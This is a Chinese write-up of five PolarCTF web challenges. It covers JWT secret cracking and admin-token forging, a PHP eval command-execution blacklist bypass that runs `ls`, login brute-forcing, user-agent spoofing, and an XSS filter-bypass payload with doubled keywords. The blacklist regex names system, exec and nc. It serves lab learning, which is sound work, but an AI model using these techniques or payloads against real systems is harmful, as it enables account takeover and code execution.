polarctf-web(11-15)

jwt

考察点

jwt密钥爆破与生成

解题

注册账号拿到jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxMjMifQ.KBaDibvW3zIYwt-CYe0AKPbruXLW9VCHOHLx01PVaCk

1
2
3
┌──(root㉿kali)-[~/c-jwt-cracker]
└─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QxMjMifQ.KBaDibvW3zIYwt-CYe0AKPbruXLW9VCHOHLx01PVaCk
Secret is "SYSA"

用工具爆破密钥

cyberchef生成admin的jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzUzNTkzMTcwfQ.r4xlmKEkSPc_m5aZI99Cmnt9hjosKVCyAwGwWQSKE88

登录后得到flag

非常好绕的命令执行

考察点

php命令执行构造与黑名单绕过

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';';
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
{
echo "<br>".$evil."<br>";
eval($evil);
}

?>

传参会构造出 eval(atgs1(args2)(args3)) 的格式

eval(args1(args2);)//)(args3))注释掉aegs3,构成eval(args1(args2);)

使用eval(echo(`ls`);)执行命令并获得回显

login

考察点

账号密码爆破

解题

查看源码发现注释

1
2
<!--20200101
20200101-->

作为账号密码登录成功

考虑到用户名是学号,在这基础上加一,密码与用户名相同,登录返回字符 f ,循环爆破得到flag

iphone

考察点

修改UA

解题

UA改成iphone的即可

浮生日记

考察点

xss绕过

解题

由于包裹在valu=””内,先输入”>逃出value内,再构造<img src=x onerror="alert(1)">,由于对src on关键字删除,所以构造<img ssrcrsrcc=x oonnerror="alert(1);">绕过

payload为:"><img ssrcrsrcc=x oonnerror="alert(1);">